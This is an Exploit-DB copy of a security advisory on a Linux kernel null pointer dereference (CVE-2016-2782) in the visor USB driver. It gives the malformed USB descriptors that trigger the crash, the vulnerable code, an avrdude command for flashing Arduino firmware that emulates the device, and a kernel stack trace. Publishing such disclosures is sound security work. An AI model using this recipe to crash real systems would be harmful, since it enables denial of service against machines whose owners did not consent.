Exploit-DB #39539
Description: Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - visor 'treo_attach' Nullpointer Dereference
Type: dos
Platform: linux
Date: 2016-03-09
Author: OpenSource Security

Exploit:
OS-S Security Advisory 2016-10
Linux visor (treo_attach) Nullpointer Dereference

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: CVE-2016-2782
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (visor treo_attach driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net/advisories/OSS-2016-10_visor_treo_attach.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB 
device requiring the visor (treo_attach) driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x82d
idProduct:	0x200
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

The treo_attach function does not use the num_ports (struct usb_serial) value 
for any kind of sanity checks during the initialization process. Due to an 
incomplete sanity check, the driver could try to dereference a null-pointer if 
a malformed device-descriptor is presented (zero-value for bNumEndpoints or no 
required endpoint-descriptors is provided).
This results in a crash of the system.

****
...
554 #define COPY_PORT(dest, src) 555 do { 556 int i; 557 558 for (i = 0; i < ARRAY_SIZE(src->read_urbs); ++i) { 559 dest->read_urbs[i] = src->read_urbs[i]; \ /* Possible 
Nullpointer-Dereference */
560 dest->read_urbs[i]->context = dest; 561 dest->bulk_in_buffers[i] = src->bulk_in_buffers[i]; 562 } 563 dest->read_urb = src->read_urb; 564 dest->bulk_in_endpointAddress = src->bulk_in_endpointAddress;565 dest->bulk_in_buffer = src->bulk_in_buffer; 566 dest->bulk_in_size = src->bulk_in_size; 567 dest->interrupt_in_urb = src->interrupt_in_urb; 568 dest->interrupt_in_urb->context = dest; 569 dest->interrupt_in_endpointAddress = 570 src->interrupt_in_endpointAddress;571 dest->interrupt_in_buffer = src->interrupt_in_buffer; 572 } while (0);
573
574 swap_port = kmalloc(sizeof(*swap_port), GFP_KERNEL);
575 if (!swap_port)
576 return -ENOMEM;
577 COPY_PORT(swap_port, serial->port[0]); /* no sanity-check! */
578 COPY_PORT(serial->port[0], serial->port[1]); /* no sanity-check! */
579 COPY_PORT(serial->port[1], swap_port); /* no sanity-check! */
...
****

[*] Configuration-Descriptor
bLength:	0x9
bDescriptorType:	0x2
wTotalLength:	0x27
bNumInterfaces:	0x1
bConfigurationValue:	0x1
iConfiguration:	0x0
bmAttributes:	0x0
bMaxPower:	0x31
[*] Interface-Descriptor
bLength:	0x9
bDescriptorType:	0x4
bInterfaceNumber:	0x0
bAlternateSetting:	0x0
bNumEndpoints:	0x3
bInterfaceClass:	0x0
bInterfaceSubClass:	0x0
bInterfaceProtocol:	0x0
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x81	
bmAttribut:	0x3	
wMaxPacketSize:	0x404
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x1	
bmAttribut:	0x2	
wMaxPacketSize:	0x4
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x82	
bmAttribut:	0x1
wMaxPacketSize:	0x4
bInterval:	0xc

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This 
firmware will emulate the defective USB device.

avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex

The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to 
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, 
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
This bug was fixed upstream. A CVE number was not assigned.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283374
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?i
d=cac9b50b0d75a1d50d6c056ff65c005f3224c8e0

Kernel Stacktrace:

[ 35.176832] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 35.400183] usb 1-1: New USB device found, idVendor=082d, idProduct=0200
[ 35.407780] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[ 35.417186] usb 1-1: Product: Ä?
[ 35.421846] usb 1-1: Manufacturer: Ä?
[ 35.425686] usb 1-1: SerialNumber: %
[ 35.438608] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc 
says 96 microframes
[ 35.493316] usbcore: registered new interface driver visor
[ 35.503150] usbserial: USB Serial support registered for Handspring Visor / 
Palm OS
[ 35.512980] usbserial: USB Serial support registered for Sony Clie 5.0
[ 35.521056] usbserial: USB Serial support registered for Sony Clie 3.5
[ 35.535245] visor 1-1:1.0: Handspring Visor / Palm OS converter detected
[ 35.542409] BUG: unable to handle kernel NULL pointer dereference at [PII_REDACTED]0000b0
[ 35.543244] IP: [<ffffffffa0393651>] treo_attach+0x61/0x340 [visor]
[ 35.543244] PGD 0 
[ 35.543244] Oops: 0002 [#1] SMP 
[ 35.543244] Modules linked in: visor(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT 
xt_conntrack ebtable_n